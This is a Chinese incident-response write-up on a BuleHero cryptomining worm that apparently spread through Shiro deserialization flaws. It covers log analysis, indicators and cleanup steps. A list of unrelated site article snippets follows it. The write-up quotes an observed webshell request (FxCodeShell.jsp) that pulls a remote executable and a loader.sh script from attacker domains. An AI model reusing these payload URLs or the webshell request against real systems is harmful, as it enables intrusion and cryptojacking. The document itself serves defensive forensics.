应急 | BuleHero挖矿蠕虫最新变种分析

背 景

挖矿蠕虫病毒BuleHero擅长利用各类漏洞攻击、弱密码爆破攻击。病毒作者不断更新变种,是近期最活跃的挖矿蠕虫病毒之一。攻击者最新的BuleHero挖矿蠕虫实现入侵后,还会释放挖矿程序,使服务器的资源被消耗挖矿,极大影响正常业务的运行。

本文还原了BuleHero挖矿蠕虫最新变种的发现过程并提供相应的清除与修复建议。

确定攻击范围

确定IDS攻击的记录如下

图片

通过发起攻击请求的IP可得出的ip有:10.222.12.12、10.222.12.11、10.222.12.13。这三台做了负载均衡。

图片

进入其中一台切换到Web目录,可以看到使用Shiro框架。

图片

使用了commons-collection,如果key是默认的则Shiro利用链为最可能的利用点。但分析时外网的ip已经针对此服务做了限制,没有办法直接通过黑盒方式复现。

图片

扩大排查范围,排查所有Shiro相关的服务器,加入了三台测试服务器。

图片


建议上述ip可通的网段全部排查。

查看、分析日志

图片


通过tomcat、niginx日志发现了其受到了一些攻击行为。由于shiro此类反序列化的漏洞很难从日志中定位。以下给出自己的思考和定位的方法。

tomcat 有五类日志 :catalina、localhost、manager、admin、host-manager

catalina

catalina.out即标准输出和标准出错,所有输出到这两个位置的都会进入catalina.out,这里包含tomcat运行自己输出的日志以及应用里向console输出的日志。默认这个日志文件是不会进行自动切割的,太大会造成运行问题。一般通过系统自带的切割工具:logrotate来进行切割或者cronolog或者logj4。这里使用logj4了进行切割日志。

catalina.YYYY-MM-DD.log

catalina.{yyyy-MM-dd}.log是tomcat自己运行的一些日志,这些日志还会输出到catalina.out,但是应用向console输出的日志不会输出到catalina.{yyyy-MM-dd}.log,它是tomcat的启动和暂停时的运行日志,注意,它和catalina.out是里面的内容是不一样的。

localhost.YYYY-MM-DD.log

主要是应用初始化(listener, filter, servlet)未处理的异常最后被tomcat捕获而输出的日志,它也是包含tomcat的启动和暂停时的运行日志,但它没有catalina.YYYY-MM-DD.log 日志全。它只是记录了部分日志。

localhost_access_log.YYYY-MM-DD.log

这个是访问tomcat的日志,请求时间和资源,状态码都有记录。

admin、manager不是我们此次排查的重点,平时用处较少就略过。

怀疑是反序列化漏洞,而反序列化时会抛出异常,所以我们重点关注,Shiro漏洞在前期探测时可能会带一些字段,cookie:rememberMe=deleteMe;

图片

查看异常的抛出: 使用例:cat catalina.2021-07-03.log|grep "org.apache.catalina"

图片

图片

可以看到失陷主机对我们进行扫描,外网已关闭。因此应该排查Jenkins。

但为了防止之前的后门,需要下载HM webshell kill进行查杀。

wget -O /opt/hm-linux.tgz http://dl.shellpub.com/hm/latest/hm-linux-amd64.tgz?version=1.7.0

cd /aebiz/docker-tomcat8/webapps/ROOT/WEB-INF/jsp/

当前目录执行

定位可疑ip、攻击特征

在以上的机器中共发现的url如下:

121.37.248.146/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http[://]fk.0xbdairolkoie.space/download.exe http[://]m.windowsupdatesupport.org/d/loader.sh

下载完成后执行shell脚本,建立git并执行kworkers:

图片

此团伙的payload如下:

图片

在微步在线查询为新型挖矿病毒C2地址。

图片

将kworkers下载分析,其为https://github.com/xmrig/xmrig编译后挖矿程序。

图片

kworkers、kappre、xmrig.exe 等均编译自xmrig。

图片

结合之前扫描的payload,大概率为bluehero的利用团伙。

线索串联、确定手段

根据以上结论可得知,该单位大量使用shiro开发,但是由于测试环境和开发环境的混淆,以及网段没有清晰隔离导致了中招挖矿病毒后被横向,IDS频频告警。

使用apache系类漏洞进行攻击的bluehero刚好得以横向,Jenkins可能为人工行为,且失陷。

清除与修复

1、查看UID为0的帐号:awk -F: '{if($3==0)print $1}' /etc/passwd

查看能够登录的帐号:cat /etc/passwd | grep -E "/bin/bash$"

图片

2、查看链接是否有其他C2

图片

3、查看计划任务、启动项和私钥

图片

4、查找其他C2文件

5、查杀webshell并清除、最好重新部署web

6、升级shiro等框架至最新版并修改key

7、更改系统登录私钥、密码

8、重启

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/495272.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【蓝桥杯】蓝桥杯算法复习(三)

😀大家好,我是白晨,一个不是很能熬夜😫,但是也想日更的人✈。如果喜欢这篇文章,点个赞👍,关注一下👀白晨吧!你的支持就是我最大的动力!&#x1f4…

Elasticsearch:虚拟形象辅助和对话驱动的语音到 RAG 搜索

作者:来自 Elastic Sunile Manjee 搜索的演变 搜索已经从产生简单结果的简单文本查询发展成为容纳文本、图像、视频和问题等各种格式的复杂系统。 如今的搜索结果通过生成式人工智能、机器学习和交互式聊天功能得到增强,提供更丰富、更动态且与上下文相…

Linux 注入依赖环境

文章目录 配置依赖程序安装 JDK安装 Tomcat安装 mysql 配置依赖程序 下面配置依赖程序都以CentOS为例。 安装 JDK 可以直接使用 yum(CentOS) 直接进行安装。 先搜索,确定软件包的完整名称。 yum list | grep jdk再进行安装 进行安装的时候一定要先确保处在“管理…

循环神经网络之语言模型和数据集

总结重要知识点 在给定这样的文本序列时,语言模型(language model)的目标是估计序列的联合概率 语言模型是自然语言处理的关键。 元语法通过截断相关性,为处理长序列提供了一种实用的模型。 长序列存在一个问题:它们…

JS new Array.fill(new Array()) 创建二维数组 fill方法的坑

我们通常会通过如下方式来创建一个二维数据: const arr new Array(5).fill(new Array(2).fill(0))我们如果想要修改其中一个元素的值 arr[0][0] 1输出:   我们只想给arr[0][0]赋值,但是每一行数组为0的下标元素的值全部改变了&#xf…

循序渐进丨MogDB 对 Oracle DBLink兼容性增强

本特性自 MogDB 5.0.0版本开始引入,支持 Oracle DBLink语法,可以使用符号访问 Oracle 数据库中的表。 示 例 01 环境准备 MogDB 环境 已安装 MogDB 数据库。已安装oracle_fdw插件,具体安装方法参见oracle_fdw安装文档https://docs.mogdb.io/…

[Linux_IMX6ULL驱动开发]-基础驱动

驱动的含义 如何理解嵌入式的驱动呢,我个人认为,驱动就是嵌入式上层应用操控底层硬件的桥梁。因为上层应用是在用户态,是无法直接操控底层的硬件的。我们需要利用系统调用(open、read、write等),进入内核态…

好看又好用,这 10 个宝藏 App 免费拿走不谢!

目录 1. 综合AI工具箱——HuluAI 2. 文本视频生成工具——Jujilu 3.翻译软件 —— TTime 4.专业录屏和直播软件 —— OBS Studio 5.开源跨平台轻量计时软件 —— wnr 6.开源跨平台绘图 —— Drawio 7.开源三维建模动画渲染 —— Blender 8.跨平台的多功能软件 —— Pear…

小满CRM怎么样,多少外贸公司在用?

我们在20年用过小满CRM,产品很明显是围绕着外贸业务场景设计的,功能很多,但价格相对来说也算贵的了,看了其他用户的使用感受发现小满的数据安全和服务器方面可能也有点问题。 我们最后选择了零代码平台自主搭建了一个CRM系统&…

4.Python数据分析—数据分析入门知识图谱索引(知识体系下篇)

4.Python数据分析—数据分析入门知识图谱&索引-知识体系下篇 一个人简介二机器学习基础2.1 监督学习与无监督学习2.1.1 监督学习:2.1.2 无监督学习: 2.2 特征工程2.3 常用机器学习算法概述2.3.1 监督学习算法:2.3.2 无监督学习算法&#…

拿下阿里面试:揭秘JVM对象引用的奥秘!

如有疑问或者更多的技术分享,欢迎关注我的微信公众号“知其然亦知其所以然”! 大家好,我是小米!今天我要和大家一起探讨的是JVM中的对象引用,这也是阿里巴巴面试中经常被问到的热门话题哦!在Java开发中,我们经常需要管理对象的引用,了解不同类型的引用对于优化内存、避…

【一】TensorFlow神经网络模型构建之神经元函数及优化方法

TensorFlow神经网络模型构建主要涉及如下几块:神经元函数、卷积函数、池化函数、分类函数、优化方法。下面分别对这几块进行展开说明: 神经元函数及优化方法 神经网络之所以能解决非线性问题(如语音、图像识别等),本…

web学习笔记(四十七)

目录 1. node.js中的三个全局变量 1.1 global 1.2 __dirname 文件夹的绝对路径 1.3 __filename 文件名的绝对路径 2.模块化 2.1 什么是模块化 2.2 模块化的好处 3. Node.js 中模块化 3.1 Node.js 中的模块化规范 4. Node.js 中的模块作用域 4.1module 对象 4.2 mod…

自定义你的商店 – 设计WooCommerce商店的新方法

WooCommerce 8.8即将推出,带来了一种无需代码即可创建精美商店的新方法。向“自定义你的商店”问好,这是一项全新功能,将取代“个性化你的商店”入门步骤。 自定义你的商店将利用最新的WordPress站点编辑工具以及酷炫的新Pattern Assembler …

深兰科技陈海波:生成式AI,新一轮知识生产力革命

3月26日,AIoT创新技术赋能工业数字化高峰论坛在上海市宝山区临港南大数智中心隆重举行。活动吸引了诸多行业内的专家学者、企业家及金融投资机构、政府园区、用户等多位业界精英出席,共同探讨该领域面临的挑战与机遇,分享最新的科研成果和技术…

【信号处理】基于DGGAN的单通道脑电信号增强和情绪检测(tensorflow)

关于 情绪检测,是脑科学研究中的一个常见和热门的方向。在进行情绪检测的分类中,真实数据不足,经常导致情绪检测模型的性能不佳。因此,对数据进行增强,成为了一个提升下游任务的重要的手段。本项目通过DCGAN模型实现脑…

【动手学深度学习】深入浅出深度学习之线性神经网络

目录 🌞一、实验目的 🌞二、实验准备 🌞三、实验内容 🌼1. 线性回归 🌻1.1 矢量化加速 🌻1.2 正态分布与平方损失 🌼2. 线性回归的从零开始实现 🌻2.1. 生成数据集 &#x…

泛微表单添加自定义按钮

页面效果&#xff1a; 点击按钮&#xff0c;将参数字段对应的值传入链接中。 表单配置如下&#xff1a; 然后插入js代码块&#xff0c;代码如下&#xff1a; <script> jQuery(document).ready(function(){ //在表单的按钮单元格插入自定义属性&#xff1a;ID&#xff1…

三级等保建设技术方案-Word

1信息系统详细设计方案 1.1安全建设需求分析 1.1.1网络结构安全 1.1.2边界安全风险与需求分析 1.1.3运维风险需求分析 1.1.4关键服务器管理风险分析 1.1.5关键服务器用户操作管理风险分析 1.1.6数据库敏感数据运维风险分析 1.1.7“人机”运维操作行为风险综合分析 1.2…

云能耗管理系统在某高校建筑系统平台的开发与应用

摘要&#xff1a;依据本项目依托某学院的电能计量管理系统、给水计量监管系统以及供热计量管理系统等基础平台&#xff0c;制订了高等学校建筑能耗综合管理系统平台应用的总体框架和方案&#xff0c;该系统可以对校园建筑的各种用能情况进行实时监测、统计能耗、进行能效分析&a…